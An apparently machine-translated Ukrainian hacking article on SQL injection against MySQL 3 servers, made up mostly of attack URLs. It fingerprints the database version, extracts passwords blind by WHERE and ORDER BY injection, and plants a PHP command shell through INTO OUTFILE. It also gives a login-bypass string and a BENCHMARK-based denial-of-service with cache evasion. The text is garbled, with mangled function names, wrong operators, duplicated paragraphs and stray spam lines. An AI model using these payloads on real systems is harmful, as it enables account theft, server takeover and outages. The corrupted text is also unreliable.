SQL ін'єкція в MySQL сервері третин версії

1. Три або чотири
2. Ін'єкція після where
3. Ін'єкція після order by
4. PHP SHELL, або ін'єкція після limit
5. кроме того
6. Висновок

Наша взаимовыгодная связь https://banwar.org/

Хоча в даний час MySQL третин версії можна зустріти все рідше і рідше, все ж внаслідок неабияку популярність цієї СУБД, третя версія все ще встановлена на дуже великій кількості сервером. У деяких випадках просто ніхто не хоче оновити систему, в деяких вважають, що так безпечніше, в деяких стежити за сервером просто нікому. Навіть деякими хакерами вважається що, якщо на сервері використовується СУБД MySQL третин версії, то це випадок безнадійний. Однак, у мене є своя думка на цей рахунок, і я хочу показати, що в деяких ситуаціях це питання має свою відповідь.

Призи для переможців конкурсу надав комп'ютерний інтернет магазин

В даний час можна зустріти велику кількість статей, що описують експлуатацію уразливості SQL ін'єкцію, в одній з найбільш поширених СУБД, MySQL. Практично всі ці статті мають на увазі, що на уразливому сервері працює четверта версія сервера MySQL.

Дійсно, в реалізації мови SQL в четвертій версії сервера стало доступним ключове слово UNION, його використання в MySQL ін'єкції дозволить зловмиснику отримати зміст довільних таблиць. До яких має доступ користувач, з під якого відбувається з'єднання з базою даних.

Така ситуація призвела до думки, що в MySQL 3 SQL ін'єкція в принципі не може нічим загрожувати.

Навіть деякими хакерами вважається що, якщо на сервері використовується СУБД MySQL третин версії, то це випадок безнадійний. Однак, у мене є своя думка на цей рахунок, і я хочу показати, що в деяких ситуаціях це питання має свою відповідь.

Хоча в даний час MySQL третин версії можна зустріти все рідше і рідше, все ж внаслідок неабияку популярність цієї СУБД, третя версія все ще встановлена ​​на дуже великій кількості сервером. У деяких випадках просто ніхто не хоче оновити систему, в деяких вважають, що так безпечніше, в деяких стежити за сервером просто нікому. Ситуації бувають різні, а MySQL 3 залишається.

Три або чотири

І так, виявлений факт SQL ін'єкції. Як визначити що це дійсно, MySQL, і визначити версію MySQL сервера.

Припустимо, ін'єкція має місце в запиті, типу http: //localhost/test.php? Id = 1, в параметрі id. Якщо сторінка виводить деякий зміст, відповідне введеному ідентифікатором, то можна припустити, що має місце ін'єкція після where запиту. Ми вважаємо, що факт наявності SQL ін'єкції в нашому випадку виявлено будь-якими засобами, про які описано в даний час чимало, і дійсно має місце.

Припустимо, нападник помітив, що він може впроваджувати булеві конструкції в запит, і вони явно впливають на результат запиту. Так, наприклад http: //localhost/test.php? Id = 1 + AND + 0, виведе сторінку без змісту, а http: //localhost/test.php? Id = 1 + AND + 1, виведе сторінку, аналогічну сторінці з переданим параметром id = 1.

Ім'я цей факт, уде можна скласти серію запитів до сервера з метою підтвердити (або спростувати) припущення, що це СУБД MySQL, і, випадку, якщо це дійсно MySQL, виявити версію сервера.

І для того і для іншого можна використовувати особливість реалізації SQL в MySQL. А саме, утримання спеціальних дужок виду / *! NNNNN ... * / буде виконано звичайним чином, в MySQL тоді і тільки тоді, коли повна версія сервера (записана поспіль, без крапок, з провідними нулями в підверсії), більше або дорівнює ніж NNNNN. В іншому випадку цей запис буде сприйнята як коментар.

Одночасно, в реалізації мови SQL в більшості сучасних СУБД, це запис буде сприйнята як коментар в будь-якому випадку.

З огляду на, що, в будь-якому випадку, записана таким чином версія mySQl сервера буде більше, ніж 00000, то запис / *! 00000 Any_SQL_commands * / буде еквівалента Any_SQL_commands, в будь-який запит в MySQL. Одночасно, цей запис буде еквівалента коментарю в будь-яких інших СУБД.

Таким чином, можна однозначно визначити MySQL, в нашому прикладі, зробивши наступний запит: http: //localhost/test.php? Id = 1 + / *! 00000 + AND + 0 + * /.

Висновок порожньої сторінки (еквівалент запиту http: //localhost/test.php? Id = 1 + AND + 0), буде однозначно свідчити про те, що має місце взаємодія дійсно з СУБД MySQL. В іншому випадку, це, швидше за все не MySQL. Слід врахувати, що все це вірно тільки в ідеальній ситуації - відсутність фільтрації і т.п., що однак, не рідкість.

Використовуючи цей прийом, можна однозначно визначить, має СУБД MySQL в нашому випадку версію 3.x або 4.x. Досить зробити наступний запит: http: //localhost/test.php? Id = 1 + / *! 40000 + AND + 0 + * /. Цей запит поверне порожню сторінку (в нашому прикладі), тоді і тільки тоді, коли версія MySQL сервера 4.x.

Користуючись дихотомічний пошуком, неважко визначити і точну версію MySQL сервера. Для цього, досить буде скласти наступну серію запитів:

http: //localhost/test.php? id = 1 + / *! 40000 + AND + 0 + * /

http: //localhost/test.php? id = 1 + / *! 41000 + AND + 0 + * /

http: //localhost/test.php? id = 1 + / *! 40500 + AND + 0 + * /

http: //localhost/test.php? id = 1 + / *! 40300 + AND + 0 + * /

http: //localhost/test.php? id = 1 + / *! 40400 + AND + 0 + * /

...

http: //localhost/test.php? id = 1 + / *! 40311 + AND + 0 + * /

http: //localhost/test.php? id = 1 + / *! 40312 + AND + 0 + * /

У разі, якщо передостанній запит повернув порожню сторінку, про останній повернув сторінку, аналогічну http: //localhost/test.php? Id = 1, то можна однозначно судити, що MySQL сервер має версію 4.3.12

Ще один метод визначення версії MySQL сервера полягає в використанні функції version (), яка повертає рядок з поточною версією. Цей метод можна застосовувати у випадках, якщо будь-які причини заважають використовувати попередній метод. Наприклад, відбувається фільтрація символів /.

Наприклад, якщо запит http: //localhost/test.php? Id = 1 + AND + (version () + like + '4%') поверне сторінку, що відповідає ідентифікатору id = 1, то можна однозначно судити про те, що MySQL сервер має четверту версію.

Якщо застосування лапок заважає фільтрація, то замість рядка можна використовувати функцію, яка в якості значення поверне необхідний рядок. Можна використовувати char (), функцію, яка повертає рядок, відповідну з символів з ASCII кодами які прийняті в якості аргументів.

Приклад. Запит http: //localhost/test.php? Id = 1 + AND + (version () + like + char (25,34)), буде аналогічний попередньому, але не буде містити лапок.

Користуючись цим прикладом можна виявити і повну версію СУБД MySQL, або послідовно підбираючи все символи, або користуючись дихотомічний пошуком, використовуючи порівняння рядків в лексикографічному порядку.

Варто відзначити, що подомной же чином можна підібрати і значення інших функцій, які можуть бути цікаві нападнику. User () - повертає ім'я користувача MySQL з під якого відбулося приєднання з базою даних. Database () - повертає ім'я поточної бази даних.

Навіть, якщо ін'єкція відбувається в довільному запиті в довільному місці, з'ясувати MySQl це чи ні, і версію MySQL аналогічним чином можна, наприклад впроваджуючи всередині цих дужок значення, які однозначно "зіпсують" запит.

http: //localhost/test.php? id = 1 + / *! 40000 + AND + blablabla + * /, і нападаючий зможе дізнатися, виконалися чи інструкції (які не є синтаксично вірними інструкціями MySQL), чи ні, по тому, нормально функціонує скрипт при такому запиті (інструкції були сприйняті як коментар), чи ні (інструкції були проінтерпретовані як частина запиту).

Слід пам'ятати, що інструкції повинні бути синтаксично вірними, однак приводять до помилки в запиті. У разі помилки в синтаксисі, цей запис в будь-якому випадку буде сприйнята як коментар. Про це варто пам'ятати, і кілька видозмінювати запит для кожної конкретної ситуації.

Ін'єкція після where

SQL ін'єкція після ключового слова where є одним з найбільш поширених випадків. SQL запит в цьому випадку має приблизно такий вигляд select ... from ... where ... rowN = $ row ..., де вставляється в запит без належної фільтрації.

У разі, якщо має місце ін'єкція в третин версії сервера, то нижчевикладений прийом дозволить отримати зміст будь-якого запису будь-якого стовпця в будь-якій таблиці, використовуваної в запиті.

Припустимо має місце SQL ін'єкція в скрипті http: //localhost/test.php? Id = 1, який виводить в броузер деяку інформацію про відповідному користувача. Природно, пароль користувача не виводитися. Покажемо, яким чином в MySQL 3 можна дізнатися як пароль довільного користувача, так і пароль цільового користувача. Вважаємо, що пароль зберігатися у відкритому вигляді в тій же таблиці, в якій і зберігаються і інші параметри користувача. Ті, ім'я цієї таблиці явно бере участь в запиті.

Якщо в таблиці зберігатися хеш пароля, та нападаючому стане відомий хеш, який треба буде ще розшифрувати.

Для отримання інформації з деякого стовпчика, потрібно як мінімум знати ім'я цього стовпця. У разі, якщо запит складний, то крім імені стовпця потрібно ще знати ім'я таблиці, або псевдоніма таблиці, використовуваної в запиті. При чому, якщо псевдонім використовувався, то необхідно знати саме псевдонім.

Ім'я таблиці або її псевдонім знадобитися знати тільки в тому випадку, якщо в запиті використовує більше однієї таблиці, і ім'я подбираемого стовпчика присутній в більш ніж однієї таблиці, з присутніх в запиті.

Навряд чи, більш ніж в одній таблиці будуть присутні такі стовпці, як login або pass і т.п, так що підбирати ім'я таблиці в більшості випадків не потрібно.

Якщо це система з відкритим вихідним кодом, або в помилках системи виводитися досить інформації про запит, то це не складе проблеми. Однак, в разі, якщо зовнішньому користувачеві нічого не відомо про внутрішню структуру запиту і бази даних, то ім'я поля і, можливо ім'я таблиці доведеться підбирати вручну.
приклад

http: //localhost/test.php? id = 1 + or + password = 'abc'

http: //localhost/test.php? id = 1 + or + pass = 'abc'

http: //localhost/test.php? id = 1 + or + passwd = 'abc'

http: //localhost/test.php? id = 1 + or + u.password = 'abc'

http: //localhost/test.php? id = 1 + or + user.password = 'abc'

...

Якщо результатом одного з представлених запитів буде сторінка, ідентична сторінці з переданим ідентифікатором id = 1, то це буде свідчити про те, що ім'я стовпця, і, можливо, ім'я таблиці знайдено успішно.

Припустимо, що цікавить нас ім'я стовпця - pass, ті другий запит повернув позитивний результат.

Обчислимо пароль будь-якого користувача системи. Пароль будемо підбирати послідовно, по одній букві, або користуючись конструкцією like, або користуючись дихотомічний пошуком, використовуючи порівняння рядків в лексикографічному порядку.

http: //localhost/test.php? id = 9999999 + or + pass + like + 'a%' (-)

http: //localhost/test.php? id = 9999999 + or + pass + like + 'b%' (-)

...

http: //localhost/test.php? id = 9999999 + or + pass + like + 'p%' (+)

http: //localhost/test.php? id = 9999999 + or + pass + like + 'pa%' (+)

http: //localhost/test.php? id = 9999999 + or + pass + like + 'paa%' (-)

...

http: //localhost/test.php? id = 9999999 + or + pass + like + 'pas%' (+)

...

http: //localhost/test.php? id = 9999999 + or + pass + like + 'pas21m1%' (+)

http: //localhost/test.php? id = 9999999 + or + pass + like + 'pas21m1_%' (-)

Запис, відповідна ідентифікатором 9999999, не існує в базі даних, в цьому варто переконатися заздалегідь.

Плюсом відзначений позитивний результат запиту. Позитивним вважається результат, що виводить параметри будь-якого то користувача в броузер. Негативний (-) результат має місце в разі, якщо виведена сторінка, ідентична передачі id = 9999999, ті порожня сторінка.

При цьому може виводитися як один результат, так і кілька (всі знайдені), в залежності від того, як написаний скрипт. Висновок параметрів будь-якого користувача в броузер при будь-якому запиті слід інтерпретувати саме як те, що його пароль задовольняє цим умовам.

Те що передостанній запит видав позитивний результат, а останній - негативний слід інтерпретувати, що всі символи пароля успішно підібрані. Дійсно, якби залишився непідібраний хоча б один символ праворуч то він збігся б з символом нижнього слеша, а, можливо, інші символи збіглися б з символом відсоток.

При підборі символів пароля таким способом слід пам'ятати, що в паролі можуть бути присутніми як символи англійського алфавіту, так і цифри та інші символи. У разі, якщо в паролі присутній символ _ або%, то при їх підборі всередині like, ці символи слід мнемонізіровать зворотної косої.

Цілком очевидно, що таким чином ми зможемо підібрати пароль довільного або декількох довільних користувачів в системі. Однак, не очевидно, що ми зможемо підібрати пароль цільового користувача, особливо якщо користувачів дуже багато.

Дійсно, в описаній нами ситуації швидше за все буде виведений перший випадковий користувач, пароль якого задовольняє даним умовам. А про те, задовольняють ці умови цільовим користувачеві чи ні ми ніколи не дізнаємося, так він повинен був би вивестися другим.

Ті, якщо виводяться всі результати запиту, або, граючи з limit, все ж можна дізнатися пароль цільового користувача, але це може бути пов'язане з деякими труднощами.

Описаний прийом краще застосовувати, якщо достатньо знати пароль будь-якого користувача, ті всі подібні користувачі рівноправні.
Тепер, припустимо, необхідно дізнатися пароль цільового користувача. Для цього як мінімум потрібно з'ясувати, як ми зможемо ідентифікувати запис в БД, що відповідає цьому користувачу. Наприклад, запис можна ідентифікувати за ідентифікатором, або імені користувача, або за іншими параметрами. У будь-якому випадку необхідно з'ясувати, які значення повинні бути у шпальтах шуканої записи.

Наприклад, ідентифікувати деяку запис адміністратора можна було б так:

http: //localhost/test.php? id = 9999999 + or + (id = 1), або

http: //localhost/test.php? id = 9999999 + or + (login = 'admin')

Після того, як інформація, що цікавить нас запис може бути ідентифікована, можна аналогічним чином підібрати пароль.

http: //localhost/test.php? id = 9999999 + or + (id = 1 + AND + pass + like + 'a%') http: //localhost/test.php? id = 9999999 + or + (id = 1 + AND + pass + like + 'b%')

і так далі.

Крім того, для прискорення пошуку, в обох випадках, можна скористатися дихотомічний пошуком.

http: //localhost/test.php? id = 9999999 + or + (id = 1 + AND + pass +> = + 'k') (-)

http: //localhost/test.php? id = 9999999 + or + (id = 1 + AND + pass +> = + 'g') (+)

http: //localhost/test.php? id = 9999999 + or + (id = 1 + AND + pass +> = + 'h') (-)

http: //localhost/test.php? id = 9999999 + or + (id = 1 + AND + pass +> = + 'fk')

і так далі, послідовно перебирати кожну букву.

Варто відзначити, що в будь-якому описаному в цій статті разі, строкову константу, укладену в лапки, можна замінити на функцію char (), з відповідними аргументами.

Ін'єкція після order by

У частих випадках впровадження довільного коду можлива після ключового слова order by. Найбільш часто подібна ін'єкція можлива, коли скрипт приймає як параметр ім'я стовпця, по якій слід провести упорядкування, і вставляє його в запит без попередньої фільтрації.

Так як ключове слово where згідно синтаксису SQL має перебувати перед order by, таким чином, неможливо впровадження булевих функцій, що обмежують висновок з метою отримання інформації про значення деяких записів.

Однак, в MySQL після order by, дозволено використовувати функції та значення стовпців в довільній комбінації, і користуючись цим фактом, можна підібрати значення будь-яких стовпців для довільної і цільової записи в будь-якій таблиці, використовуваної в запиті.

Припустимо, скрипт http: //localhost/test2.php? Order = id виводить список користувачів системи, упорядкувавши їх за id, причому значення змінної order вставляється в скрипт без належної фільтрації.

Варто згадати, що в MySQL булеві значення наводяться до цілих значень, відповідно 0 і 1.

Зауважимо таку особливість, http: //localhost/test2.php? Order = (-id * 1) впорядкує рядки від більшого id до меншого, і це зрозуміло, тому що упорядкування відбувається по протилежній функції.

Одночасно http: //localhost/test2.php? Order = (-id * 0) виведе записи в природному порядку, без будь-якого впорядкування. Швидше за все, це буде той порядок, в якому записи додавалися в базу даних, і швидше за все, це буде порядок по зростанню id. Це поведінка також можна пояснити. В цьому випадку упорядкування відбувається по функції, яка константно дорівнює нулю на всій безлічі полів, ті, для будь-якого запису в БД, значення (-id * 0) однаково і дорівнює нулю. Тобто, ніякого упорядкування проведено не буде.

Ну, і як говорилося раніше, замість нуля або одиниці можна вставляти довільні булеві умови, значення яких MySQL призведе до цілого.

Приклади http: //localhost/test2.php? Order = (-id * (2 = 1)), або

http: //localhost/test2.php? order = (-id * ( 'abc' = 'abc'))

Ці булеві умови можуть містити в тому числі і значення інших стовпців таблиць.

http: //localhost/test2.php? order = (-id * (pass + like + 'a%'))

http: //localhost/test2.php? order = (-id * (pass + like + 'b%'))

і так далі.

Тепер залишилося навчитися розрізняти, відгадали ми чи ні. В цьому випадку, в разі, якщо пароль не задовольняє введеному умові, то значення функції по якій робиться упорядкування дорівнюватиме нулю для таких записів.

У разі, якщо пароль для деяких записів задовольняє введеному умові, то для таких записів упорядкування відбудеться за значенням -id, яке завжди менше нуля.

Якщо немає впевненості в тому, що значення id завжди більше нуля, то можна поступити слід чином:

http: //localhost/test2.php? order = (- (abs (id) +1) * (pass + like + 'b%'))

Тепер, функція, по якій відбувається упорядкування завжди менше нуля для записів, для яких пароль задовольняє умові, і дорівнює нулю, для яких умова для пароля невірно. З огляду на, що упорядкування відбувається по зростанню, то всі записи, для яких умова виявиться вірним, виявляться першими у списку.

Якщо немає гарантії, що упорядкування дійсно відбувається по зростанню, можна додати ключове слово ASK, і, можливо, обрізати решту запиту, символом / *, або% 00.

Нагадаємо, що / * позначає відкриття коментаря. MySQL нормально реагує на незакриті коментарі в запиті. % 00 ж КОЛІР символ з котом нуль, який в Сі подібних мовах позначає кінець рядка, і функція MySQL API mysql_query (), вважатиме цей символ звичайним кінцем рядка, а, отже, і запиту.

Приклад: http: //localhost/test2.php? Order = (- (abs (id) +1) * (pass + like + 'b%')) + ASK + / *

І так, припустимо вихідне упорядкування, по -id, було таким:

5 user5

4 user4

3 user3

2 admin

1 root

і, після запиту http: //localhost/test2.php? order = (-id * (pass + like + 'b%')) стало таким:

4 user4

2 admin

1 root

3 user3

5 user5, то цей результат слід інтерпретувати, як те, що паролі у user4 і admin починаються на символ b.

Аналогічним чином підбирається і весь пароль.

Якщо нас цікавить пароль будь-якого користувача, то позитивним результатом ми вважаємо, якщо в "вилізши нагору" списку користувачів присутній хоча б один користувач. Якщо ж нас цікавить пароль, будь то конкретного користувача, то позитивним результатом ми вважаємо те, що, цей користувач присутній в вилізши нагору списку.

В якості основи цього методу лежить упорядкування за твором двох функцій - негативною для всіх записів основної функції, і сигнальної булевої функції. Знак мінус взятий для того, щоб питання, що цікавлять нас результати з'являлися на початку списку, а не в кінці, ті просто для зручності.

У більшості випадків, в якості основної функції можна взяти (-id), або (- (abs (id) +1)), проте, це може бути і будь-яка інша функція, яка повертає різні значення для різних записів в таблиці. Наприклад, це може бути довжина деякого текстового поля, або навіть комбінації деяких функцій від деяких полів.

У цьому прикладі, аналогічним чином можна використовувати дихотомический пошук, і функцію char () замість рядків-констант.

PHP SHELL, або ін'єкція після limit

Дійсно, майже безнадійною справою в ін'єкції в MySQL 3.x може стати те, що ін'єкція можлива після ключового слова limit. Це ймовірно в тих ситуаціях, коли скрипт приймає і, не фільтруючи, вставляє в запит параметр, який відповідає за кількість або зміщення виведених записів (наприклад, номер сторінки, кількість записів на сторінці).

На щастя програміста, який допустив помилку, і до розчарування хакера, після параметрами limit можуть бути тільки цілі числа, а не вираження.

Конструкція into outfile в керівництві MySQL описана йде відразу після select, однак, як показує практика, її можна поставити і в самий кінець запиту, після limit. Таким чином, єдине, що зможе зробити хакер в такій ситуації, це спробувати зберегти результати запиту в файл з довільним розташуванням і ім'ям.

Нагадаємо, що є кілька обмежень.

• Файл не повинен існувати на диску

• У користувача MySQL повинні бути права на роботу з файлами (file_priv)

• Цільова директорія повинна бути доступна на запис всім користувачам.

• Назва файлу повинна бути з повним шляхом.

• Назва файлу повинна бути рядком в лапках. Використання виразів не допускається

Таким чином, якщо хакер знає повний шлях до веб каталогу на сервері, знає ім'я папки, в яку дозволено запис всім користувачам (таку папку він зможе знайти і перебором), то нападник зможе вивести результати запиту в файл, в тому числі з розширенням, співставленим з деяким інтерпретатором, наприклад PHP.

Однак, як впровадити в результат запиту зловмисні дані, наприклад PHP Shell код? Відповідь на це питання не очевидна, і дати на нього відповідь повинен сам нападник, досліджуючи конкретну систему.

Так, наприклад, якщо ін'єкція після limit можлива в скрипті, що виводить повідомлення на форумі, в параметрі, що відповідає за номер сторінки, то, ймовірно, для позитивного результату слід додати повідомлення на форумі, що містить PHP Shell код, і потім зробити збереження результатів запиту в файл.

Запит може бути приблизно таким http: // localhost / test3? Page = 34 + into + outfile + '/ path / to / web / banners / cmd.php', де на 34-ую сторінку форуму додано повідомлення типу <? System ($ _ GET [ 'cmd'])?>

У разі, якщо, крім того, на сервері присутня вразливість типу local php source code injection, то практично в будь-якому випадку таким чином можна створити файл з PHP shell кодом в будь-який загальнодоступною на запис директорії, з наступним подцепленний цього файлу в уразливості типу PHP ін'єкція . Наприклад, директорія / tmp /, зазвичай доступна на запис всім користувачам.

Варто ще раз зауважити, що в якості імені файлу не можна використовувати вирази, а, значить, і звичний фокус з char (), не пройде в разі, якщо лапки фільтруються.

Варто відзначити, що фокус з into outfile буде можливий і в інших двох вищеописаних випадках, і експлуатуватися він буде приблизно так само.

Увага.

Всі наведені HTTP запити в статті - це всього лише приклади, які демонструють принцип. У реальних системах запити можуть виглядати інакше, мати більш складний вид, проте принцип зберегтися той же.

кроме того

Я не став описувати в статті докладно деякі інші досить часто зустрічаються помилки в скриптах, які досить детально описані і в інших джерелах.

Наприклад, якщо при порівнянні пароля з паролем в БД використовується функція like а не =, то значення% співпаде з будь-яким паролем.

Крім того, якщо ін'єкція відбувається внаслідок слабкої фільтрації імені користувача або пароля, то можна авторизуватися в системі під будь-яким користувачем, ввівши приблизно наступний пароль (або ім'я користувача) 'OR 1 / *

Крім того практично в будь-якій ситуації, коли має місце вразливість SQL ін'єкція, і можна впроваджувати довільні вирази, можна з мінімальними засобами змусити MySQL сервер вичерпати всі сві ресурси - змусити споживати 100% вільного процесорного часу або набрати максимум дозволених з'єднань.

У першому випадку результати сервер буде віддавати зі значною часовою затримкою, у другому, спроби нових з'єднання з сервером будуть відсікатися.

Функція BenchMark в MySQL використовується для того щоб обчислити заданий вираз задану кількість разів. Так наприклад benchamrk (1000000, md5 (current_time)) в залежності від обчислювальних потужностей сервера буде обчислюватися близько 30-60 секунд. Якщо ж функцію зробити вкладеної: benchamrk (1000000, benchamrk (1000000, md5 (current_time))), то обчислення такої функції займе дуже багато часу на сервері будь-якої конфігурації.

Тепер залишилося тільки впровадити цю функцію в SQL запит, так щоб в ньому не відбулося помилки:

http: //localhost/test.php? id = 1-benchamrk (1000000, benchamrk (1000000, md5 (current_time))), або

http: //localhost/test2.php? order = (benchamrk (1000000, benchamrk (1000000, md5 (current_time))))

Тепер, для ефективної DoS атаки досить зробити сер і ю таких HTTP запитів на сервер. Чекати відповіді не обов'язково, досить, щоб запит дійшов до сервера. Серію таких запитів можна організувати як вручну, через браузер, так і скриптом.

Залежно від потужності сервера, буде досить від кількох десятків до кількох сотень таких запитів.

Слід врахувати, що для ефективної атаки, результат запиту не повинен нігшде кешироваться. Для того, щоб запобігти кешування на проксі сервер, в кожен запит можна додавати випадкову величину:

http: //localhost/test.php? id = 1-benchamrk (1000000, benchamrk (1000000, md5 (current_time))) - 46323279

Висновок

Багато в даний час вважають, що якщо вони використовують MySQL сервер третин версії, то вони захищені від уразливості типу SQL ін'єкція. Я всього лише показав, що це не так :)

Від редакції SecurityLab.ru: Дана стаття була надіслана до публікування статті Посимвольного перебір в базах даних на прикладі MySQL , Тому можливе збіг деяких моментів, в цих двох статтях, є випадковим.